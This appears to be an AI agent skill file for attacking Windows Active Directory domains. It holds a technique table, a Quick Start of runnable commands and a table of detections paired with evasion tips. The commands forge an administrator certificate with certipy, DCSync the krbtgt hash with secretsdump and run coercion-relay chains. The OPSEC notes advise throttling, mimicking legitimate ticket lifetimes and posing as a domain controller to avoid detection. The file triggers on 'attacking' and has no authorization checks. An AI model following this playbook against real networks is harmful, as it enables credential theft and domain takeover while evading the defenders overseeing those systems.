active-directory-attack

name	active-directory-attack
description	Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
metadata	{"type":"offensive","phase":"exploitation","tools":"impacket, certipy, rubeus, bloodhound-ce, netexec, krbrelayx, ntlmrelayx, bloodyAD, mimikatz, kerbrute, SharpSuccessor","mitre":"TA0008"}
kill_chain	{"phase":["exploit","actions"],"step":[4,7],"attck_tactics":["TA0006","TA0008","TA0004","TA0003"],"attck_techniques":["T1558","T1558.003","T1558.004","T1558.001","T1187","T1557","T1557.001","T1003.006","T1550.002","T1550.003","T1484.001","T1098","T1207"]}
depends_on	["network-attack","privesc-windows"]
feeds_into	["red-team-ops","advanced-redteam"]
inputs	["domain_info","user_context","foothold_creds"]
outputs	["domain_admin_access","finding_record","credential_dump","forged_tickets"]
references	["references/bloodhound-enum-lateral.md","references/kerberos-roasting-delegation.md","references/coercion-relay.md","references/adcs-abuse.md","references/ticket-forgery-dcsync.md","references/dmsa-badsuccessor.md"]
scripts	["scripts/ad_recon.py","scripts/kerberoast_audit.py","scripts/rbcd_takeover.py","scripts/coerce_relay_chain.sh","scripts/Get-BadSuccessorOUPermissions.ps1","scripts/adcs_esc_finder.py"]

Active Directory Attacks

When to Activate

• Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
• Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
• Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
• ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
• dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
• BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

Technique	ATT&CK	CWE	Reference	Script
BloodHound CE / SharpHound enumeration	T1482	CWE-732	references/bloodhound-enum-lateral.md	scripts/ad_recon.py
Password spray / PtH / PtT lateral movement	T1550.002, T1550.003	CWE-522	references/bloodhound-enum-lateral.md	scripts/ad_recon.py
LAPS / gMSA password read	T1003	CWE-522	references/bloodhound-enum-lateral.md	scripts/ad_recon.py
Kerberoasting	T1558.003	CWE-261	references/kerberos-roasting-delegation.md	scripts/kerberoast_audit.py
AS-REP roasting	T1558.004	CWE-308	references/kerberos-roasting-delegation.md	scripts/kerberoast_audit.py
Resource-Based Constrained Delegation (RBCD)	T1558, T1098	CWE-269	references/kerberos-roasting-delegation.md	scripts/rbcd_takeover.py
Constrained/Unconstrained delegation (S4U)	T1558	CWE-269	references/kerberos-roasting-delegation.md	scripts/rbcd_takeover.py
Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV)	T1187	CWE-294	references/coercion-relay.md	scripts/coerce_relay_chain.sh
NTLM relay (SMB/LDAP/ADCS)	T1557.001	CWE-294	references/coercion-relay.md	scripts/coerce_relay_chain.sh
NTLM reflection (CVE-2025-33073)	T1187, T1557.001	CWE-294	references/coercion-relay.md	scripts/coerce_relay_chain.sh
Kerberos relay / DNS CNAME (CVE-2026-20929)	T1557	CWE-294	references/coercion-relay.md	scripts/coerce_relay_chain.sh
ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019)	T1649	CWE-295	references/adcs-abuse.md	scripts/adcs_esc_finder.py
ADCS ESC8 relay / ESC16 CA-wide override	T1649, T1557.001	CWE-295	references/adcs-abuse.md	scripts/adcs_esc_finder.py
Golden / Silver / Diamond / Sapphire ticket	T1558.001, T1558.002	CWE-345	references/ticket-forgery-dcsync.md	-
DCSync (DRSUAPI replication)	T1003.006	CWE-269	references/ticket-forgery-dcsync.md	-
noPac / sAMAccountName spoofing (CVE-2021-42278/87)	T1558	CWE-287	references/ticket-forgery-dcsync.md	-
dMSA BadSuccessor (CVE-2025-53779)	T1098, T1558	CWE-269	references/dmsa-badsuccessor.md	scripts/Get-BadSuccessorOUPermissions.ps1

Quick Start

# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u [e-mail] -p 'Pass' -ca CA -template Vuln -upn [e-mail]
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

Technique	Telemetry / IOC	Detection (Sigma / EDR)	OPSEC note
SharpHound/LDAP enum	Hundreds of LDAP queries from one host; 4662 directory access	SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes	Throttle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics
Kerberoasting	4769 TGS-REQ with RC4 (0x17) for many SPNs from one host	Sigma win_security_susp_kerberos_manipulation; alert on RC4 TGS bursts	Request AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow
AS-REP roasting	4768 AS-REQ no-preauth; etype 23	Alert on AS-REQ for DONT_REQ_PREAUTH accounts	Only target accounts BloodHound flags; offline crack
Coercion	EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host	Sigma coercion/PetitPotam; RPC firewall (RpcFilter) logs	Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback
NTLM relay / reflection	4624/4648 NTLM logon to self; SMB→LDAP from non-server	Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record	Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct
ADCS ESC	4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template	Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection	Restore templates (ESC4); EPA on certsrv breaks ESC8 relay
Ticket forgery	TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN	Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard)	Match domain ticket policy lifetimes; use AES keys not RC4
DCSync	4662 DRSUAPI GetNCChanges from non-DC	Sigma dcsync; alert DRSUAPI replication from non-DC IP	Run from a host that looks like a DC; avoid /all, target krbtgt only
dMSA BadSuccessor	5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink	Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!)	Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive

Deep Dives

• references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
• references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
• references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
• references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
• references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
• references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.